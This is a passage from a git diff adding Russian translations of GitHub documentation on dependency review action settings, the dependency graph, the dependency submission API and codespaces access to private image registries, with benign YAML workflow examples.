Действие завершится ошибкой в запросах на вытягивание, которые вводят зависимости с лицензиями, соответствующими list.| {% endif %} {% ifversion dependency-review-action-fail-on-scopes %} | `fail-on-scopes` | Необязательный | Содержит список строк, представляющих среды сборки, которые необходимо поддерживать (`development`, `runtime`, `unknown`).
Действие завершится ошибкой в запросах на вытягивание, которые представляют уязвимости в областях, соответствующих list.| {% endif %} | `allow-ghsas` | Необязательный | Содержит список идентификаторов {% data variables.product.prodname_advisory_database %}, которые можно пропустить во время обнаружения. Возможные значения для этого параметра можно найти в [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories). | | `config-file` | Необязательный | Указывает путь к файлу конфигурации. Файл конфигурации может быть локальным для репозитория или файлом, расположенным во внешнем репозитории.| | `external-repo-token` | Необязательный | Указывает маркер для получения файла конфигурации, если файл находится в частном внешнем репозитории. Маркер должен иметь доступ на чтение к репозиторию repository.| + +{% ifversion dependency-review-action-licenses %} {% tip %} + +**Важно.** Параметры `allow-licenses` и `deny-licenses` являются взаимоисключающими. + +{% endtip %} {% endif %} + +## Настройка {% data variables.product.prodname_dependency_review_action %} + +Существует два метода настройки {% data variables.product.prodname_dependency_review_action %}: +- Встраивание параметров конфигурации в файл рабочего процесса. +- Ссылка на файл конфигурации в файле рабочего процесса. + +Обратите внимание, что во всех примерах для действия (`v3`) используется короткий номер версии вместо номера выпуска semver (например, `v3.0.8`). Это гарантирует использование последней дополнительной версии действия. +### Использование встроенной конфигурации для настройки {% data variables.product.prodname_dependency_review_action %} + +1. Добавьте новый рабочий процесс YAML в папку `.github/workflows` . + + {% ifversion ghes %} Для `runs-on`по умолчанию используется `self-hosted`метка . Вы можете заменить метку по умолчанию меткой любого средства выполнения. {% endif %} + ```yaml{:copy} + name: 'Dependency Review' + on: [pull_request] + + permissions: + contents: read + + jobs: + dependency-review: + {% ifversion ghes %}runs-on: self-hosted + {% else %}runs-on: ubuntu-latest + {% endif %}steps: + - name: 'Checkout Repository' + uses: {% data reusables.actions.action-checkout %} + - name: Dependency Review + uses: actions/dependency-review-action@v3 + ``` +1. Укажите нужные параметры. + + В этом примере файла {% data variables.product.prodname_dependency_review_action %} показано, как можно использовать доступные параметры конфигурации. + ```yaml{:copy} + name: 'Dependency Review' + on: [pull_request] + + permissions: + contents: read + + jobs: + dependency-review: + {% ifversion ghes %}runs-on: self-hosted + {% else %}runs-on: ubuntu-latest + {% endif %}steps: + - name: 'Checkout Repository' + uses: {% data reusables.actions.action-checkout %} + - name: Dependency Review + uses: actions/dependency-review-action@v3 + with: + # Possible values: "critical", "high", "moderate", "low" + fail-on-severity: critical + {% ifversion dependency-review-action-licenses %} + # You can only include one of these two options: `allow-licenses` and `deny-licences` + # ([String]). Only allow these licenses (optional) + # Possible values: Any `spdx_id` value(s) from https://docs.github.com/en/rest/licenses + allow-licenses: GPL-3.0, BSD-3-Clause, MIT + # ([String]). Block the pull request on these licenses (optional) + # Possible values: Any `spdx_id` value(s) from https://docs.github.com/en/rest/licenses + deny-licenses: LGPL-2.0, BSD-2-Clause + {% endif %} + # ([String]). Skip these {% data variables.product.prodname_advisory_database %} IDs during detection (optional) + # Possible values: Any valid {% data variables.product.prodname_advisory_database %} ID from https://github.com/advisories + allow-ghsas: GHSA-abcd-1234-5679, GHSA-efgh-1234-5679 + {% ifversion dependency-review-action-fail-on-scopes %} + # ([String]). Block pull requests that introduce vulnerabilities in the scopes that match this list (optional) + # Possible values: "development", "runtime", "unknown" + fail-on-scopes: development, runtime + {% endif %} + ``` +### Использование файла конфигурации для настройки {% data variables.product.prodname_dependency_review_action %} + +1. Добавьте новый рабочий процесс YAML в папку `.github/workflows` и используйте `config-file` , чтобы указать, что используется файл конфигурации. + + {% ifversion ghes %} Для `runs-on`по умолчанию используется `self-hosted`метка . Вы можете заменить метку по умолчанию меткой любого средства выполнения. {% endif %} + ```yaml{:copy} + name: 'Dependency Review' + on: [pull_request] + + permissions: + contents: read + + jobs: + dependency-review: + {% ifversion ghes %}runs-on: self-hosted + {% else %}runs-on: ubuntu-latest + {% endif %}steps: + - name: 'Checkout Repository' + uses: {% data reusables.actions.action-checkout %} + - name: Dependency Review + uses: actions/dependency-review-action@v3 + with: + # ([String]). Representing a path to a configuration file local to the repository or in an external repository. + # Possible values: An absolute path to a local file or an external file. + config-file: './.github/dependency-review-config.yml' + # Syntax for an external file: OWNER/REPOSITORY/FILENAME@BRANCH + config-file: 'github/octorepo/dependency-review-config.yml@main' + + # ([Token]) Use if your configuration file resides in a private external repository. + # Possible values: Any GitHub token with read access to the private external repository. + external-repo-token: 'ghp_123456789abcde' + ``` +1. Создайте файл конфигурации по указанному пути. + + В этом примере файла YAML показано, как можно использовать доступные параметры конфигурации. + ```yaml{:copy} + # Possible values: "critical", "high", "moderate", "low" + fail-on-severity: critical + {% ifversion dependency-review-action-licenses %} + # You can only include one of these two options: `allow-licenses` and `deny-licences` + # ([String]). Only allow these licenses (optional) + # Possible values: Any `spdx_id` value(s) from https://docs.github.com/en/rest/licenses + allow-licenses: + - GPL-3.0 + - BSD-3-Clause + - MIT + # ([String]). Block the pull request on these licenses (optional) + # Possible values: Any `spdx_id` value(s) from https://docs.github.com/en/rest/licenses + deny-licenses: + - LGPL-2.0 + - BSD-2-Clause + {% endif %} + # ([String]). Skip these {% data variables.product.prodname_advisory_database %} IDs during detection (optional) + # Possible values: Any valid {% data variables.product.prodname_advisory_database %} ID from https://github.com/advisories + allow-ghsas: + - GHSA-abcd-1234-5679 + - GHSA-efgh-1234-5679 + {% ifversion dependency-review-action-fail-on-scopes %} + # ([String]). Block pull requests that introduce vulnerabilities in the scopes that match this list (optional) + # Possible values: "development", "runtime", "unknown" + fail-on-scopes: + - development + - runtime + {% endif %} + ``` +Дополнительные сведения о параметрах конфигурации см. в разделе [`dependency-review-action`](https://github.com/actions/dependency-review-action#readme). +{% endif %} diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md new file mode 100644 index 000000000000..3322d044d7f8 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md @@ -0,0 +1,52 @@ +--- +title: Configuring the dependency graph +intro: You can allow users to identify their projects' dependencies by enabling the dependency graph. +redirect_from: + - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependency graph + - Dependencies + - Repositories +shortTitle: Configure dependency graph +--- +## About the dependency graph + +{% data reusables.dependabot.about-the-dependency-graph %} + +For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + +{% ifversion fpt or ghec %} +## About configuring the dependency graph +To generate a dependency graph, {% data variables.product.product_name %} needs read-only access to the dependency manifest and lock files for a repository. The dependency graph is automatically generated for all public repositories and you can choose to enable it for private repositories. For more information on viewing the dependency graph, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)." + +{% data reusables.dependency-submission.dependency-submission-link %} +{% endif %} + +{% ifversion ghes %} ## Enabling the dependency graph +{% data reusables.code-scanning.enterprise-enable-dependency-graph %} +{% data reusables.dependabot.ghes-ghae-enabling-dependency-graph %}{% endif %}{% ifversion fpt or ghec %} + +### Enabling and disabling the dependency graph for a private repository + +{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %} + +{% data reusables.code-scanning.enterprise-enable-dependency-graph %} +{% endif %} + +When the dependency graph is first enabled, any manifest and lock files for supported ecosystems are parsed immediately. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. Once enabled, the graph is automatically updated with every push to the repository{% ifversion fpt or ghec %} and every push to other repositories in the graph{% endif %}. + +{% ifversion ghes %} +{% ifversion dependency-submission-api %}{% data reusables.dependency-submission.dependency-submission-link %}{% endif %} +{% endif %} + +## Further reading + +{% ifversion ghec %}- "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)"{% endif %} +- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)" +- "[Troubleshooting the detection of vulnerable dependencies](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)" diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md new file mode 100644 index 000000000000..01fd28e03cc1 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md @@ -0,0 +1,113 @@ +--- +title: Изучение зависимостей репозитория +intro: 'Граф зависимостей позволяет выяснить, от каких пакетов зависит ваш проект{% ifversion fpt or ghec %} и какие репозитории зависят от этого проекта{% endif %}. Кроме того, вы сможете узнать, какие уязвимости обнаружены в его зависимостях.' +redirect_from: + - /articles/listing-the-packages-that-a-repository-depends-on + - /github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on + - /articles/listing-the-projects-that-depend-on-a-repository + - /github/visualizing-repository-data-with-graphs/listing-the-projects-that-depend-on-a-repository + - /github/visualizing-repository-data-with-graphs/exploring-the-dependencies-and-dependents-of-a-repository + - /github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository + - /code-security/supply-chain-security/exploring-the-dependencies-of-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependency graph + - Dependencies + - Repositories +shortTitle: Explore dependencies +ms.openlocfilehash: f3735844ad8bcb8fba799723f30a3d55e41ec158 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882734' +--- + + +## Просмотр графа зависимостей + +Граф зависимостей показывает зависимости{% ifversion fpt or ghec %} и зависимые объекты{% endif %} вашего репозитория. Сведения об обнаружении зависимостей и о поддерживаемых экосистемах см. в разделе [Сведения о графе зависимостей](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} {% data reusables.repositories.click-dependency-graph %}{% ifversion fpt or ghec %} +4. При желании в разделе "Граф зависимостей" щелкните **Зависимые**. +![Вкладка "Зависимые" на странице графа зависимостей](/assets/images/help/graphs/dependency-graph-dependents-tab.png){% endif %} + +{% ifversion ghes %} Владельцы предприятия могут настроить граф зависимостей на корпоративном уровне. Дополнительные сведения см. в разделе [Включение графа зависимостей для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise). +{% endif %} + +### Представление зависимостей + +{% ifversion fpt or ghec %} Зависимости группируются по экосистемам. Вы можете развернуть зависимость, чтобы просмотреть ее зависимости. Зависимости в частных репозиториях, частных пакетах или нераспознанных файлах отображаются в виде обычного текста. Если диспетчер пакетов для зависимости находится в общедоступном репозитории, {% data variables.product.product_name %} отобразит ссылку на этот репозиторий. + +{% ifversion dependency-submission-api %} Зависимости, отправленные в проект с помощью API отправки зависимостей (бета-версия) также группируются по экосистемам, но отображаются отдельно от зависимостей, обнаруженных в файлах манифеста или блокировки в репозитории. Эти отправленные зависимости отображаются в графе зависимостей как "Зависимости моментальных снимков", так как они отправляются в составе моментального снимка (набора) зависимостей. Дополнительные сведения об использовании API отправки зависимостей см. в статье [Использование API отправки зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). +{% endif %} + +Если в репозитории обнаружены уязвимости, они отображаются в верхней части представления для пользователей с доступом к {% data variables.product.prodname_dependabot_alerts %}. + +![График зависимостей](/assets/images/help/graphs/dependencies_graph.png) + +{% endif %} + +{% ifversion ghes or ghae %} Все прямые и косвенные зависимости, указанные в файлах манифеста или блокировки репозитория, сгруппированы по экосистеме. Если в репозитории обнаружены уязвимости, они отображаются в верхней части представления для пользователей с доступом к {% data variables.product.prodname_dependabot_alerts %}. + +![График зависимостей](/assets/images/help/graphs/dependencies_graph_server.png) + +{% note %} + +**Примечание.** {% data variables.product.product_name %} не заполняет представление **Зависимые**. + +{% endnote %} + +{% endif %} + +{% ifversion fpt or ghec %} +### Представление "Зависимые" + +Для общедоступных репозиториев представление зависимых объектов показывает, как репозиторий используется другими репозиториями. Чтобы отобразить только репозитории, содержащие библиотеку в диспетчере пакетов, щелкните **NUMBER Packages** непосредственно над списком зависимых репозиториев. Количество зависимых объектов являются приблизительным и не всегда может соответствовать перечисленным зависимым объектам. + +![Диаграмма зависимостей](/assets/images/help/graphs/dependents_graph.png) + +## Включение и отключение графа зависимостей для частного репозитория + +{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %} + +## Изменение пакета раздела "Кем используется" + +Вы могли заметить, что некоторые репозитории имеют раздел "Кем используется" в боковой панели вкладки **Код**. Репозиторий будет иметь раздел "Кем используется", если: + * для репозитория включен граф зависимостей (дополнительные сведения см. в разделе выше); + * репозиторий содержит пакет, опубликованный в [поддерживаемой экосистеме пакетов](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems); + * в экосистеме пакет имеет ссылку на _общедоступный_ репозиторий, в котором хранится источник. + +В разделе "Кем используется" отображается количество обнаруженных общедоступных ссылок на пакет, а также аватары некоторых владельцев зависимых проектов. + +![Раздел боковой панели "Кем используется"](/assets/images/help/repository/used-by-section.png) + +Щелкнув любой элемент в этом разделе, вы перейдете на вкладку **Зависимые** графа зависимостей. + +Раздел "Кем используется" представляет один пакет из репозитория. Если у вас есть разрешения администратора на репозиторий, содержащий несколько пакетов, можно выбрать, какой пакет представляет раздел "Кем используется". + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. В разделе "Безопасность и анализ кода" щелкните раскрывающееся меню в разделе "Используется счетчиком" и выберите пакет. + ![Выбор пакета "Кем используется"](/assets/images/help/repository/choose-used-by-package.png) + +{% endif %} + +## Устранение неполадок графа зависимостей + +Если ваш граф зависимостей пуст, возможно, имеется проблема с файлом, содержащим зависимости. Проверьте файл, чтобы убедиться, что его формат соответствует типу файла. + +{% ifversion fpt or ghec %} Если формат файла правильный, проверьте его размер. Граф зависимостей игнорирует отдельные файлы манифеста и блокировки, размер которых превышает 1,5 МБ, если вы не являетесь пользователем {% data variables.product.prodname_enterprise %}. Он обрабатывает до 20 файлов манифеста или блокировки для каждого репозитория по умолчанию, поэтому можно разделить зависимости на файлы меньшего размера в подкаталогах репозитория.{% endif %} + +Если манифест или файл блокировки не обработан, его зависимости исключены из графа зависимостей, и невозможно проверить файл на наличие небезопасных зависимостей. + +## Дополнительные материалы + +- [Сведения о графе зависимостей](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph) +- [Просмотр и обновление {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"{% ifversion ghec %} +- «[Просмотр аналитических сведений для организации](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)»{% endif %}{% ifversion fpt or ghec %} +- [Основные сведения о том, как {% data variables.product.prodname_dotcom %} использует и защищает ваши данные](/get-started/privacy-on-github) {% endif %} diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md new file mode 100644 index 000000000000..ae2c51179a23 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md @@ -0,0 +1,29 @@ +--- +title: Изучение цепочки поставок программного обеспечения +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Dependency graph + - Dependencies + - Repositories +shortTitle: Understand your supply chain +children: + - /about-supply-chain-security + - /about-the-dependency-graph + - /configuring-the-dependency-graph + - /using-the-dependency-submission-api + - /about-dependency-review + - /configuring-dependency-review + - /exploring-the-dependencies-of-a-repository + - /troubleshooting-the-dependency-graph +ms.openlocfilehash: 5310e33ff731c1a34e3a0df1e0ac64a8bbab5e9a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146458255' +--- + diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md new file mode 100644 index 000000000000..f88892ffcf72 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md @@ -0,0 +1,71 @@ +--- +title: Устранение неполадок графа зависимостей +intro: 'Если от графа зависимостей получены неожиданные сведения о зависимостях, следует учесть несколько важных аспектов и проверить несколько параметров.' +shortTitle: Troubleshoot dependency graph +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Troubleshooting + - Errors + - Dependencies + - Vulnerabilities + - Dependency graph + - CVEs + - Repositories +ms.openlocfilehash: 30c4830c125e9b20ada59e0e0e29fa0eb5c6c649 +ms.sourcegitcommit: a9af58ef52d8d109186053d184d9b1e52e5f0323 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/02/2022 +ms.locfileid: '148128907' +--- +{% data reusables.dependabot.result-discrepancy %} + +## Выполняет ли граф зависимостей поиск только зависимостей в манифестах и файлах блокировки? + +Граф зависимостей {% ifversion dependency-submission-api %}автоматически{% endif %} учитывает сведения о зависимостях, которые явно объявлены в вашей среде. Это зависимости, указанные в манифесте или файле блокировки. Граф зависимостей обычно также включает транзитивные зависимости, даже если они не указаны в файле блокировки, просматривая зависимости зависимостей в файле манифеста. + +Граф зависимостей не учитывает{% ifversion dependency-submission-api %} автоматически{% endif %} "свободные" зависимости. "Свободные" зависимости — это отдельные файлы, которые копируются из другого источника и возвращаются в репозиторий напрямую или в архиве (например, ZIP-файле или JAR-файле). На них не ссылаются в манифесте или файле блокировки диспетчера пакетов. + +{% ifversion dependency-submission-api %}Но вы можете использовать API отправки зависимостей (бета-версия), чтобы добавлять в граф зависимостей проекта даже те зависимости, которые не объявлены в файле манифеста или блокировки, например зависимости, разрешаемые при сборке проекта. Граф зависимостей будет отображать отправленные зависимости, сгруппированные по экосистеме, но отдельно от зависимостей, проанализированных из файлов манифеста или блокировки. Дополнительные сведения об API отправки зависимостей см. в статье [Использование API отправки зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api).{% endif %} + +**Проверка.** Отсутствует ли зависимость для компонента, который не указан в манифесте или файле блокировки репозитория? + +## Определяет ли граф зависимостей те зависимости, которые указаны с помощью переменных? + +Граф зависимостей анализирует манифесты по мере их отправки в {% data variables.product.prodname_dotcom %}. Таким образом, граф зависимостей не имеет доступа к среде сборки проекта и поэтому не может разрешать переменные, используемые в манифестах. Если переменные в манифесте используются для указания имени или, что встречается чаще, версии зависимости, эта зависимость не будет {% ifversion dependency-submission-api %}автоматически{% endif %} включена в граф зависимостей. + +{% ifversion dependency-submission-api %}Но вы можете использовать API отправки зависимостей (бета-версия), чтобы добавлять в граф зависимостей проекта любые зависимости, даже если они разрешаются только при сборке проекта. Дополнительные сведения об API отправки зависимостей см. в статье [Использование API отправки зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api).{% endif %} + +**Проверка.** Объявлена ли отсутствующая зависимость в манифесте с использованием переменной для указания ее имени или версии? + +## Существуют ли ограничения, влияющие на данные графа зависимостей? + +Да, граф зависимостей имеет две следующие категории ограничений. + +1. **Ограничения обработки** + + Эти ограничения влияют на граф зависимостей, отображаемый в {% data variables.product.prodname_dotcom %}, а также предотвращают создание {% data variables.product.prodname_dependabot_alerts %}. + + Манифесты размером более 0,5 МБ обрабатываются только для корпоративных учетных записей. Для других учетных записей манифесты размером более 0,5 МБ игнорируются и не будут создавать {% data variables.product.prodname_dependabot_alerts %}. + + По умолчанию {% data variables.product.prodname_dotcom %} не обрабатывает более {% ifversion fpt %}150{% else %}600{% endif %} манифестов для каждого репозитория. {% data variables.product.prodname_dependabot_alerts %} не создаются для манифестов, превышающих это ограничение. Если необходимо увеличить ограничение, обратитесь в {% data variables.contact.contact_support %}. + +2. **Ограничения визуализации** + + Эти ограничения влияют на то, что отображается в графе зависимостей в {% data variables.product.prodname_dotcom %}. Однако они не влияют на созданные {% data variables.product.prodname_dependabot_alerts %}. + + Представление зависимостей графа зависимостей для репозитория отображает только 100 манифестов. Как правило, этого достаточно, так как это ограничение значительно выше ограничения обработки, описанного выше. В ситуациях, когда ограничение обработки выше 100, {% data variables.product.prodname_dependabot_alerts %} по-прежнему будут создаваться для всех манифестов, которые не отображаются в {% data variables.product.prodname_dotcom %}. + +**Проверка.** Отсутствует ли зависимость в файле манифеста размером более 0,5 МБ или в репозитории с большим количеством манифестов? + +## Дополнительные материалы + +- [Сведения о графе зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) +- [Управление параметрами безопасности и анализа для репозитория](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository) +- ["Устранение неполадок при обнаружении уязвимых зависимостей](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes %} +- [Устранение ошибок {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors){% endif %} diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md new file mode 100644 index 000000000000..09b4783a5af2 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md @@ -0,0 +1,91 @@ +--- +title: Использование API отправки зависимостей +intro: 'API отправки зависимостей можно использовать для отправки зависимостей для проектов, например зависимостей, разрешенных при сборке или компиляции проекта.' +shortTitle: Dependency submission API +topics: + - API + - Dependency graph + - Dependencies + - REST +versions: + feature: dependency-submission-api +ms.openlocfilehash: 4ebf367a083010bc9177a2c67bce28cf99078a5f +ms.sourcegitcommit: c45cc7325ed19e69ddd7506e46fcafd0b5182b3f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: '148019593' +--- +{% data reusables.dependency-submission.dependency-submission-api-beta %} + +## Сведения об API отправки зависимостей + +{% data reusables.dependency-submission.about-dependency-submission %} + +Зависимости отправляются в API отправки зависимостей в виде моментального снимка. Моментальный снимок — это набор зависимостей, связанных с SHA фиксации и другими метаданными, которые отражают текущее состояние репозитория для фиксации. Дополнительные сведения об API отправки зависимостей см. в [документации по REST API отправки зависимостей](/rest/dependency-graph/dependency-submission). + +## Отправка зависимостей во время сборки + +API отправки зависимостей можно использовать в рабочем процессе {% data variables.product.prodname_actions %} для отправки зависимостей для проекта при создании проекта. + +### Использование готовых действий + +Самый простой способ использовать API отправки зависимостей — добавить в репозиторий готовое действие, которое будет собирать и преобразовывать список зависимостей в требуемый формат моментальных снимков и отправлять список в API. Действия, которые выполняют эти шаги для различных экосистем, доступны на {% data variables.product.prodname_marketplace %}. В бета-версии и последующих версиях будет создано больше действий. Ссылки на доступные в настоящее время действия можно найти в таблице ниже: + +Экосистема | Действие | +--- | --- | +Go | [Отправка зависимостей Go](https://github.com/actions/go-dependency-submission) + +Например, следующий рабочий процесс [отправки зависимостей Go](https://github.com/actions/go-dependency-submission) вычисляет зависимости для целевого объекта сборки Go (файл Go с функцией `main`) и отправляет список в API отправки зависимостей. + +```yaml + +name: Go Dependency Submission +on: + push: + branches: + - main + +# The API requires write permission on the repository to submit dependencies +permissions: + contents: write + +# Envionment variables to configure Go and Go modules. Customize as necessary +env: + GOPROXY: '' # A Go Proxy server to be used + GOPRIVATE: '' # A list of modules are considered private and not requested from GOPROXY +jobs: + go-action-detection: + runs-on: ubuntu-latest + steps: + - name: 'Checkout Repository' + uses: {% data reusables.actions.action-checkout %} + + - uses: {% data reusables.actions.action-setup-go %} + with: + go-version: ">=1.18.0" + + - name: Run snapshot action + uses: actions/go-dependency-submission@v1 + with: + # Required: Define the repo path to the go.mod file used by the + # build target + go-mod-path: go-example/go.mod + # + # Optional. Define the repo path of a build target, + # a file with a `main()` function. + # If undefined, this action will collect all dependencies + # used by all build targets for the module. This may + # include Go dependencies used by tests and tooling. + go-build-target: go-example/cmd/octocat.go + +``` +### Создание собственного действия + +Кроме того, можно написать собственное действие для отправки зависимостей для проекта во время сборки. Рабочий процесс должен делать следующее: + + 1. Создать список зависимостей для проекта. + 2. Преобразовать список зависимостей в формат моментального снимка, принятый API отправки зависимостей. Дополнительные сведения о формате см. в основных параметрах операции API "Создание моментального снимка репозитория" в [документации по REST API отправки зависимостей](/rest/dependency-graph/dependency-submission). + 3. Отправьте форматированный список зависимостей в API отправки зависимостей. + +{% data variables.product.product_name %} поддерживает [набор средств отправки зависимостей](https://github.com/github/dependency-submission-toolkit), библиотеку TypeScript, помогающую создавать собственные действия GitHub Actions для отправки зависимостей в API отправки зависимостей. Дополнительные сведения о написании действия см. в разделе [Создание действий](/actions/creating-actions). diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/ru-RU/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md new file mode 100644 index 000000000000..60a3f0728cc7 --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md @@ -0,0 +1,125 @@ +--- +title: Разрешение доступа к частному реестру образов для пространства кода +intro: 'Секреты позволяют {% data variables.product.prodname_github_codespaces %} получать доступ к частному реестру образов.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +shortTitle: Private image registry +ms.openlocfilehash: c11cfe0179856caf17f30ac32830ee1485defa3c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159208' +--- +## Сведения о частных реестрах образов и {% data variables.product.prodname_github_codespaces %} + +Реестр — это безопасное пространство для хранения, администрирования и получения частных образов контейнеров. Вы можете использовать его для хранения одного или нескольких образов. К примерм реестров относятся {% data variables.product.prodname_container_registry %}, {% data variables.product.prodname_npm_registry %}, Azure Container Registry и DockerHub. + +{% data variables.packages.prodname_ghcr_and_npm_registry %} можно настроить так, чтобы во время создания codespace образы контейнеров могли легко извлекаться в {% data variables.product.prodname_github_codespaces %} без необходимости предоставлять учетные данные для проверки подлинности. Для других реестров образов необходимо создать секреты в {% data variables.product.prodname_dotcom %} для хранения сведений о доступе, что позволит {% data variables.product.prodname_github_codespaces %} получать доступ к образам, хранящимся в этом реестре. + +## Доступ к изображениям, хранящимся в {% data variables.packages.prodname_ghcr_and_npm_registry %} + +{% data variables.packages.prodname_ghcr_and_npm_registry %} предоставляет самый простой способ использования образов контейнеров разработки для {% data variables.product.prodname_github_codespaces %}. + +Дополнительные сведения см. в разделах [Работа с реестром контейнеров](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) и [Работа с реестром npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry). + +### Доступ к образу, опубликованному в том же репозитории, что и пространство кода + +Если вы публикуете образ контейнера в {% data variables.packages.prodname_ghcr_or_npm_registry %} в том же репозитории, в который запускается codespace, вы сможете автоматически получить этот образ при создании codespace. Вам не придется предоставлять дополнительные учетные данные, если только выбор параметра **Наследовать доступ от репозитория** не был отменен при публикации образа контейнера. + +#### Наследование доступа от репозитория, из которого был опубликован образ + +По умолчанию при публикации образа контейнера в {% data variables.packages.prodname_ghcr_or_npm_registry %} образ наследует параметр доступа к репозиторию, из которого был опубликован образ. Например, если репозиторий является общедоступным, образ также является общедоступным. Если репозиторий является частным, образ также является частным, но доступен из репозитория. + +Это поведение определяется параметром **Наследовать доступ от репозитория**. **Доступ наследовать из репозитория** выбирается по умолчанию при публикации через {% data variables.product.prodname_actions %}, но не при публикации непосредственно в {% data variables.packages.prodname_ghcr_or_npm_registry %} с помощью {% data variables.product.pat_generic %}. + +Если параметр **Наследовать доступ от репозитория** не был выбран при публикации образа, можно вручную добавить репозиторий в элементы управления доступом опубликованного образа контейнера. Дополнительные сведения см. в разделе [Настройка управления доступом и видимости пакета](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository). + +### Доступ к образу, опубликованному в организации, в которой будет запущено пространство кода + +Если вы хотите, чтобы образ контейнера был доступен для всех пространств кода в организации, рекомендуется опубликовать образ контейнера с внутренней видимостью. При этом образ автоматически станет видимым для всех пространств кода в организации, если только репозиторий, из которого запускается пространство кода, не является общедоступным. + +Если пространство кода запускается из общедоступного репозитория, ссылающегося на внутренний или частный образ, необходимо вручную разрешить общедоступному репозиторию доступ к внутреннему образу контейнера. Это позволяет избежать случайной утечки внутреннего образа. Дополнительные сведения см. в разделе [Обеспечение доступа Codespaces к пакету](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package). + +### Доступ к частному 